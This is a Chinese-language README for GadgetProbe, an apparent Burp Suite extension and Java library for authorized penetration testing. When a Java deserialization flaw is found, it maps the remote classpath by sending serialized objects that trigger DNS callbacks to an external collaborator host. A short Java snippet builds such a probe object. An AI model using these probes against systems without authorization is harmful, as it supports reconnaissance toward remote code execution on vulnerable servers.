你刚刚发现了一个 Java 反序列化漏洞,运行了所有 ysoserial payload,结果……一无所获。接下来该怎么办?如果完全处于“盲打”状态,你该如何调试或构建 gadget 链?
隆重介绍 GadgetProbe,一款能够照亮远程 classpath、帮助所有人提升漏洞严重性的工具!
GadgetProbe 接收一个 Java 类字典(wordlist),输出序列化的 DNS 回调对象,并报告远程 classpath 中隐藏的内容。
该 Burp 扩展自动与 Burp Collaborator 集成以处理 DNS 回调。扩展还包含签名和一个分析器,用于识别常见 gadget 来源的库版本。
加载 Burp 扩展后:

2. 添加一个 Java 类列表(参见附带的字典)

3. 添加 GadgetProbe payload 处理器,以及链中需要的任何其他处理器(例如 Base64 编码)。

4. 运行 Intruder 攻击,并在 GadgetProbe Burp 标签页中查看返回的结果。

GadgetProbe 也可以作为 Java 库或 CLI 用于特殊攻击。
import com.bishopfox.gadgetprobe.GadgetProbe
...
// Call the GadgetProbe constructor with your authoritative nameserver (or use Burp collaborator).
GadgetProbe gp = new GadgetProbe("dnscallback.burpcollaborator.net");
// The crafted object "obj" is now ready to be sent using any custom implementation :)
Object obj = gp.getObject("org.apache.commons.collections.functors.invokertransformer");
# Build JAR (run first)
./gradlew shadowJar
# Build wordlists
./generate_wordlists.sh
请参阅我在 Bishop Fox 博客上发布的技术文章。
Twitter:@theBumbleSec
GitHub:the-bumble